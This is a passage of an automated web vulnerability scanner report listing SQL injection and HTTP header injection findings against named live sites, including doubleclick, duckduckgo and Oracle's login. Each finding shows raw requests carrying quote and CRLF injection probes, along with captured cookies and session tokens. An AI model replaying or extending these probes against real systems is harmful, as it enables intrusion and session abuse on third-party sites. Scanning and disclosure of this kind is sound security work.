User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __llat=aHR0cDovL3d3dy5jYXBnZW1pbmkuY29tLz9jb21wYW55PWNhcGdlbWluaSZkYXRlPU1vbiwgMjggRmViIDIwMTEgMTc6NTA6MTYgVVRDJmlwYWRkcj1Ob25lJmJyb3dzZXI9TmV0c2NhcGUlMjA1LjAlMjAlMjhXaW5kb3dzJTNCJTIwVSUzQiUyMFdpbmRvd3MlMjBOVCUyMDYuMSUzQiUyMGVuLVVTJTI5JTIwQXBwbGVXZWJLaXQvNTM0LjEzJTIwJTI4S0hUTUwlMkMlMjBsaWtlJTIwR2Vja28lMjklMjBDaHJvbWUvOS4wLjU5Ny45OCUyMFNhZmFyaS81MzQuMTMmcmVmZXJyZXI9JmNhbXBhaWduPVdlYlNpdGUgTGVhZHM=; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 504 Gateway Time-out
Server: nginx/0.6.35
Date: Mon, 28 Feb 2011 17:53:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 383
Connection: keep-alive

<html>
<head>
<title>The page is temporarily unavailable</title>
<style>
body { font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body bgcolor="white" text="black">
<table width="10
...[SNIP]...

Request 2

GET /insights-and-resources/?1%2527%2527=1 HTTP/1.1
Host: www.capgemini.com
Proxy-Connection: keep-alive
Referer: http://www.capgemini.com/news-and-events/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __llat=aHR0cDovL3d3dy5jYXBnZW1pbmkuY29tLz9jb21wYW55PWNhcGdlbWluaSZkYXRlPU1vbiwgMjggRmViIDIwMTEgMTc6NTA6MTYgVVRDJmlwYWRkcj1Ob25lJmJyb3dzZXI9TmV0c2NhcGUlMjA1LjAlMjAlMjhXaW5kb3dzJTNCJTIwVSUzQiUyMFdpbmRvd3MlMjBOVCUyMDYuMSUzQiUyMGVuLVVTJTI5JTIwQXBwbGVXZWJLaXQvNTM0LjEzJTIwJTI4S0hUTUwlMkMlMjBsaWtlJTIwR2Vja28lMjklMjBDaHJvbWUvOS4wLjU5Ny45OCUyMFNhZmFyaS81MzQuMTMmcmVmZXJyZXI9JmNhbXBhaWduPVdlYlNpdGUgTGVhZHM=; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Mon, 28 Feb 2011 17:53:39 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=57d2060e2e51cf867b08903369d05a3c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 32547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 6]>
<html class="msie6" xmlns="http://www.w3.org/1999/xh
...[SNIP]...

1.27. http://www.companypond.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.companypond.com
Path:	/

Severity:	High
Confidence:	Firm
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-24/page-1/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /Portfolio/Trades-and-Exhibits/id-24'/page-1/ HTTP/1.1
Host: www.sti-cs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:18:56 GMT
Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Connection: close
Content-Type: text/html
Content-Length: 14497

...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Trades and Exhibits :: STI - Creative Services</title>

<script type="text/javascript" language="javascript
...[SNIP]...
</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>
...[SNIP]...

1.31. http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-25/page-1/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-25/page-1/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /Portfolio/Trades-and-Exhibits/id-25'/page-1/ HTTP/1.1
Host: www.sti-cs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:19:03 GMT
Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Connection: close
Content-Type: text/html
Content-Length: 14497

...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Trades and Exhibits :: STI - Creative Services</title>

<script type="text/javascript" language="javascript
...[SNIP]...
</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>
...[SNIP]...

1.32. http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-7/page-1/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-7/page-1/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /Portfolio/Trades-and-Exhibits/id-7'/page-1/ HTTP/1.1
Host: www.sti-cs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:18:51 GMT
Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Connection: close
Content-Type: text/html
Content-Length: 14496

...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Trades and Exhibits :: STI - Creative Services</title>

<script type="text/javascript" language="javascript
...[SNIP]...
</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>
...[SNIP]...

2. HTTP header injection previous next
There are 11 instances of this issue:

http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.45 [REST URL parameter 1]
http://ad.doubleclick.net/adj/N2998.159462.7724395940621/B4924654.4 [REST URL parameter 1]
http://ad.doubleclick.net/adj/N2998.159462.7724395940621/B5077405.10 [REST URL parameter 1]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie]
https://duckduckgo.com/html/ [q parameter]
https://login.oracle.com/pls/orasso/orasso.wwsso_app_admin.ls_login [Site2pstoreToken parameter]
http://tacoda.at.atwola.com/rtx/r.js [N cookie]
http://tacoda.at.atwola.com/rtx/r.js [si parameter]
http://tags.crwdcntrl.net/5/c=25/b=1225394 [name of an arbitrarily supplied request parameter]
http://tags.crwdcntrl.net/5/c=25/b=1225400 [name of an arbitrarily supplied request parameter]
http://tags.crwdcntrl.net/5/c=25/b=1226041 [name of an arbitrarily supplied request parameter]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

2.1. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.45 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2524.134426.0710433834321/B4169763.45

Request

GET /38f9f%0d%0a80c0ca18afd/N2524.134426.0710433834321/B4169763.45;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAl12x8lrTYPrB4m1sQe_0sHvCo2HpOsBhaKK8hLjqLazM_DLmgIQARgBIL7O5Q04AFDEwrTWBmDJhqOH1KOAEKABo67u9gO6AQk3Mjh4OTBfYXPIAQnaAV9maWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9uZXRzcGFya2VyL2Jvb2xlYW4tc3FsLWluamVjdGlvbi1kYXRhYmFzZS11c2VyLWFkbWluLXhzcy1iaXpmaW5kLnVzLmh0bbgCGMACBcgC5e_FGKgDAdEDgo3m5suica71AwAAAMQ&num=1&sig=AGiWqtyRQEvi6hNd5BHN9N011_vfoVSX9g&client=ca-pub-4063878933780912&adurl=;ord=196821162? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1298931268&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fnetsparker%2Fboolean-sql-injection-database-user-admin-xss-bizfind.us.htm&dt=1298909668737&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298909668759&frm=0&adk=1607234649&ga_vid=1614914732.1298909669&ga_sid=1298909669&ga_hid=454076219&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1116&bih=939&fu=0&ifi=1&dtd=88&xpc=pfUEHUtOKO&p=file%3A//
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/38f9f
80c0ca18afd/N2524.134426.0710433834321/B4169763.45;sz=728x90;click=http: //googleads.g.doubleclick.net/aclk
Date: Mon, 28 Feb 2011 16:16:15 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.2. http://ad.doubleclick.net/adj/N2998.159462.7724395940621/B4924654.4 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N2998.159462.7724395940621/B4924654.4

Request

GET /2de58%0d%0a6d24920450/N2998.159462.7724395940621/B4924654.4;sz=728x90;pc=[TPAS_ID];click=http%3A//at.atwola.com/adlink%2F5113%2F679707%2F0%2F225%2FAdId%3D1200168%3BBnId%3D3%3Bitime%3D828708808%3Bkvpg%3Dwinamp%2Fskin%2Fslick-redux%2F222084%3Bkvugc%3D0%3Bkvui%3Df2ed797a429811e090debf3ab4450fde%3Bkvmn%3D93166279%3Bkvtid%3D16lsqii1n1a3cr%3Bkr2703%3D147217%3Bkvseg%3D99999%3A53575%3A53656%3A56768%3A56830%3A56835%3A60515%3A53615%3A52766%3A60130%3A50213%3A50239%3A60190%3A50215%3Bkp%3D86178%3Bnodecode%3Dyes%3Blink%3D;ord=828708808? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.winamp.com/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2de58
6d24920450/N2998.159462.7724395940621/B4924654.4;sz=728x90;pc=[TPAS_ID];click=http: //at.atwola.com/adlink/5113/679707/0/225/AdId=1200168;BnId=3;itime=828708808;kvpg=winamp/skin/slick-redux/222084;kvugc=0;kvui=f2ed797a429811e090debf3ab4450fde;kvmn=93166279;kvtid=16lsqii1n1a3cr;kr2703=147217;k
Date: Sun, 27 Feb 2011 17:46:27 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.3. http://ad.doubleclick.net/adj/N2998.159462.7724395940621/B5077405.10 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N2998.159462.7724395940621/B5077405.10

Request

GET /62182%0d%0a5ce3b6d291b/N2998.159462.7724395940621/B5077405.10;sz=728x90;pc=[TPAS_ID];click=http%3A//at.atwola.com/adlink%2F5113%2F851061%2F0%2F225%2FAdId%3D1312688%3BBnId%3D3%3Bitime%3D828694819%3Bkvpg%3Dwinamp%3Bkvugc%3D0%3Bkvui%3Df2ed797a429811e090debf3ab4450fde%3Bkvmn%3D93302596%3Bkvtid%3D16lsqii1n1a3cr%3Bkr2703%3D147217%3Bkvseg%3D99999%3A53575%3A53656%3A56768%3A56830%3A56835%3A60515%3A53615%3A52766%3A60130%3A50213%3A50239%3A60190%3A50215%3Bkp%3D86178%3Bnodecode%3Dyes%3Blink%3D;ord=828694819? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.winamp.com/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/62182
5ce3b6d291b/N2998.159462.7724395940621/B5077405.10;sz=728x90;pc=[TPAS_ID];click=http: //at.atwola.com/adlink/5113/851061/0/225/AdId=1312688;BnId=3;itime=828694819;kvpg=winamp;kvugc=0;kvui=f2ed797a429811e090debf3ab4450fde;kvmn=93302596;kvtid=16lsqii1n1a3cr;kr2703=147217;kvseg=99999:53575:53656
Date: Sun, 27 Feb 2011 17:46:04 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.4. http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2240932&PluID=0&w=125&h=125&ord=773834383&ucm=true&ncu=$$http://at.atwola.com/adlink/5113/1838222/0/6/AdId=1468660;BnId=1;itime=773834383;kvpg=techcrunch%2F2011%2F02%2F16%2Fforbes%2Daccused%2Dof%2Dlink%2D;kvugc=0;kvmn=93311144;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:54063:56768:56830:56835:60506:60515:53615:52766:60130:50213:50239;nodecode=yes;link=$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C4=; eyeblaster=BWVal=&BWDate=&debuglevel=51ad3%0d%0aeafac43fb55; A3=heSmakIJ0c9M00001hvPTaiJy0c6L00001gIlWai180aCf00001gnhgai180cbS00001; B3=8r8g0000000001tf7.Ws0000000001tf8z130000000001th8qaI0000000001tn; u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI08g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=51ad3
eafac43fb55; expires=Fri, 27-May-2011 21: 31:25 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=heSmakII0c9M00001hvPTaiJy0c6L00001gIlWai180aCf00001gnhgai180cbS00001hK5AalZb0bfZ00001; expires=Fri, 27-May-2011 21:31:25 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf7.Ws0000000001tf8z130000000001th8z6A0000000001tq8qaI0000000001tn; expires=Fri, 27-May-2011 21:31:25 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI08g; expires=Fri, 27-May-2011 21:31:25 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 27 Feb 2011 02:31:24 GMT
Connection: close
Content-Length: 2193

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

2.5. https://duckduckgo.com/html/ [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/html/

Request

GET /html/?q=f0851%0d%0acb305ffa446 HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:56:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Q: f0851
cb305ffa446Status: 200 OK
Expires: Tue, 01 Mar 2011 02:56:41 GMT
Cache-Control: max-age=1
Content-Length: 7794

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- link href="http
...[SNIP]...

2.6. https://login.oracle.com/pls/orasso/orasso.wwsso_app_admin.ls_login [Site2pstoreToken parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://login.oracle.com
Path:	/pls/orasso/orasso.wwsso_app_admin.ls_login

Request

GET /pls/orasso/orasso.wwsso_app_admin.ls_login?Site2pstoreToken=v1.2~0C25F121~9C51B8961B0BEE62C235D9981929BC4F647A28F1F31C94036D74F1A5E13A0F4AF69344BB8BFE2CCC4E4BA038F376B1F8F5B2E8595DA9DAF5B04B5A510BDF44115C7473F2DA7EAD602B1E84D73F81E9C62AD2CA7427218458FF680857B8E3A2BFA7DD4E5EA778C006A7FB33F7A097997EC71401BB23C47CDE6194A69447A9FEA13033EC8A4486E1628819141F7F5E8B7056B6CB67F92A3878AF3C9C8A53054E35AE6035D9B1F00A728E70508C8EAAC0F8EB6D650ABB5BBF7F094E1C06DED755B88DB2CC1E54419232653F14B4A0D0B010BB6A40A850A0EB3079184428D7A6BFF774E98880958EF424128EA8C2BBED4084FD9F5872ADDC4E96EE6FAE63FDBD4937A5F1F33460DA87D4E77D9BDF09712D83C99E08C74D02C39A42F572FCF0D86F2F1D393A5194B2ECB51FC4425032D1EC6F295EDF49D39637DD8E76B66685D5F27911B2DD48693E205B5D26ABDD90C451BBB7C0F6CA17DDB0E3B29A05276C2ADCEC8B225E02A2F5AA184EE02C53232F29F14718B4ECE453E3769A2A2A2FAD711D558F1975554DB58D9C5745DE9E5F6155906B91FF4993EFD85AC5864A623416EC8675F6135244591052B772540C0C7F85FEBAE095AE138BC30C7203328010D7B707A64E5526BBB307B7E040D449D3FF170BD7409B6989545B461DF307148CFCDE8D1B819BB6B7CDEBD5C93D123B7E322F07594B58306C641F24F86C24A1B4043153C8D897629D543A088E094C2C6DC875F661AD72A0A8BF38CB14B18CB7ED64FF47F67F55BC9141F055AB50B5DA9263CBFAD90C928E5E675A113623849A115E499F427E684266F55C8FD2CF608DCBA8C6D4997D9DAF5C9ECFE3927C3212634892A717505B7D31520AB9DAAF8D181BADE99FAD2C5F3BD9025A687E23DA7B0A13E53FEDE780D7D968C6AD17DEE73F2904BE7D.21d1d%0d%0adea71b54e71 HTTP/1.1
Host: login.oracle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ORASSO_AUTH_HINT=v1.0~20110227072629; s_cc=true; gpv_p24=https%3A//myprofile.oracle.com/EndUser/faces/profile/createUser.jspx%3FnextURL%3Dhttp%253A%252F%252Flandingpad.oracle.com%252Fwebapps%252Fdialogue%252Fdlgpage.jsp%253Fp_dlg_id%253D8810727%2526src%253D6804803%2526act%253D24%2526id1%253D8810728%2526id2%253D8810730%2526r1%253D-1%2526r2%253D-1%2526r0%253D-1%2526pe%253Dnull%2526pr%253D365.0%2526pt%253DY%2526pd%253DY%2526xs%253D6804803%2526xa%253D24%2526pu%253DNull%2526po%253DWWMK09049794MP%2526ps%253DN%2526p_ext%253DY%2526p_tm%253DNull; BIGipServerloginadc_oracle_com_http=2030932621.25630.0000; s_sq=oracleglobal%2Coraclecom%3D%2526pid%253Dhttps%25253A//myprofile.oracle.com/EndUser/faces/profile/createUser.jspx%25253FnextURL%25253Dhttp%2525253A%2525252F%2525252Flandingpad.oracle.com%2525252Fwebapps%2525252Fdialogue%2525252Fdlgpage.jsp%2525253Fp_dlg_id%2525253D8810727%25252526src%2525253D6804803%25252526act%2525253D24%25252526id1%2525253D8810728%25252526id2%2525253D8810730%25252526r1%2525253D-1%25252526r2%2525253D-1%25252526r0%2525253D-1%252525%2526oid%253Dhttps%25253A//myprofile.oracle.com/EndUser/faces/profile/sso/updateUser.jspx%25253FnextURL%25253Dhttp%2525253A%2525252F%2525252Flandingp%2526ot%253DA; s_nr=1298762800321; gpw_e24=https%3A//myprofile.oracle.com/EndUser/faces/profile/createUser.jspx%3FnextURL%3Dhttp%253A%252F%252Flandingpad.oracle.com%252Fwebapps%252Fdialogue%252Fdlgpage.jsp%253Fp_dlg_id%253D8810727%2526src%253D6804803%2526act%253D24%2526id1%253D8810728%2526id2%253D8810730%2526r1%253D-1%2526r2%253D-1%2526r0%253D-1%2526pe%253Dnull%2526pr%253D365.0%2526pt%253DY%2526pd%253DY%2526xs%253D6804803%2526xa%253D24%2526pu%253DNull%2526po%253DWWMK09049794MP%2526ps%253DN%2526p_ext%253DY%2526p_tm%253DNull;

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 26 Feb 2011 23:29:47 GMT
Server: Oracle-Application-Server-10g/10.1.2.0.2 Oracle-HTTP-Server
Content-Length: 4725
Set-Cookie: ORASSO_AUTH_HINT=v1.0~20110227072947; Domain=.oracle.com; Path=/
Cache-Control: private
Location: https://login.oracle.com/mysso/signon.jsp?site2pstoretoken=v1.2~0C25F121~9C51B8961B0BEE62C235D9981929BC4F647A28F1F31C94036D74F1A5E13A0F4AF69344BB8BFE2CCC4E4BA038F376B1F8F5B2E8595DA9DAF5B04B5A510BDF44115C7473F2DA7EAD602B1E84D73F81E9C62AD2CA7427218458FF680857B8E3A2BFA7DD4E5EA778C006A7FB33F7A097997EC71401BB23C47CDE6194A69447A9FEA13033EC8A4486E1628819141F7F5E8B7056B6CB67F92A3878AF3C9C8A53054E35AE6035D9B1F00A728E70508C8EAAC0F8EB6D650ABB5BBF7F094E1C06DED755B88DB2CC1E54419232653F14B4A0D0B010BB6A40A850A0EB3079184428D7A6BFF774E98880958EF424128EA8C2BBED4084FD9F5872ADDC4E96EE6FAE63FDBD4937A5F1F33460DA87D4E77D9BDF09712D83C99E08C74D02C39A42F572FCF0D86F2F1D393A5194B2ECB51FC4425032D1EC6F295EDF49D39637DD8E76B66685D5F27911B2DD48693E205B5D26ABDD90C451BBB7C0F6CA17DDB0E3B29A05276C2ADCEC8B225E02A2F5AA184EE02C53232F29F14718B4ECE453E3769A2A2A2FAD711D558F1975554DB58D9C5745DE9E5F6155906B91FF4993EFD85AC5864A623416EC8675F6135244591052B772540C0C7F85FEBAE095AE138BC30C7203328010D7B707A64E5526BBB307B7E040D449D3FF170BD7409B6989545B461DF307148CFCDE8D1B819BB6B7CDEBD5C93D123B7E322F07594B58306C641F24F86C24A1B4043153C8D897629D543A088E094C2C6DC875F661AD72A0A8BF38CB14B18CB7ED64FF47F67F55BC9141F055AB50B5DA9263CBFAD90C928E5E675A113623849A115E499F427E684266F55C8FD2CF608DCBA8C6D4997D9DAF5C9ECFE3927C3212634892A717505B7D31520AB9DAAF8D181BADE99FAD2C5F3BD9025A687E23DA7B0A13E53FEDE780D7D968C6AD17DEE73F2904BE7D.21d1d
dea71b54e71&p_error_code=&p_submit_url=https%3A%2F%2Flogin.oracle.com%2Fsso%2Fauth&p_cancel_url=https%3A%2F%2Flogin.oracle.com&ssousername=&subscribername=
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: BIGipServerloginadc_oracle_com_http=2030932621.25630.0000; expires=Sun, 27-Feb-2011 07:29:47 GMT; path=/

<HTML><HEAD><TITLE>Redirect to https://login.oracle.com/mysso/signon.jsp?site2pstoretoken=v1.2~0C25F121~9C51B8961B0BEE62C235D9981929BC4F647A28F1F31C94036D74F1A5E13A0F4AF69344BB8BFE2CCC4E4BA038F376B1F8
...[SNIP]...

2.7. http://tacoda.at.atwola.com/rtx/r.js [N cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Request

GET /rtx/r.js?cmd=ADN&si=18288&pi=M&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//techcrunch.com/2011/02/16/forbes-accused-of-link-spam-plays-dumb-but-forgets-to-delete-all-the-links/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=60711 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|53575|53656|54063|56768|56830|56835|60506|60515|#|53615|52766|60130|50213|50239; N=2:2d4ec7443dfa469e64430537b01b46dc,ca3680f9be00bf67dd48c45e051ee302bf012%0d%0af7b9b665bf; ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTQwNjM6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MDY6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; eadx=1; CfP=1; JEB2=4D69B03E6E651A440C6EAF39F001EBEA

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 02:35:33 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
